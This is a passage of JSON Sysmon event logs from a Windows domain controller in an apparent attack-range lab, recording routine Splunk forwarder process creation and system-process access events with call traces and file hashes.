Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1868,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.605\r\nProcessGuid: {90617006-3FE7-5F2D-0000-001020350300}\r\nProcessId: 3656\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd\" check-transforms-keys\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.605","ProcessGuid":"{90617006-3FE7-5F2D-0000-001020350300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd\" check-transforms-keys","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1869,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-001020350300}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18226|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-001020350300}","TargetProcessId":"3656","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18226|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1870,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-001020350300}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-001020350300}","TargetProcessId":"3656","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1871,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1872,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1873,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1874,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1875,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1876,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 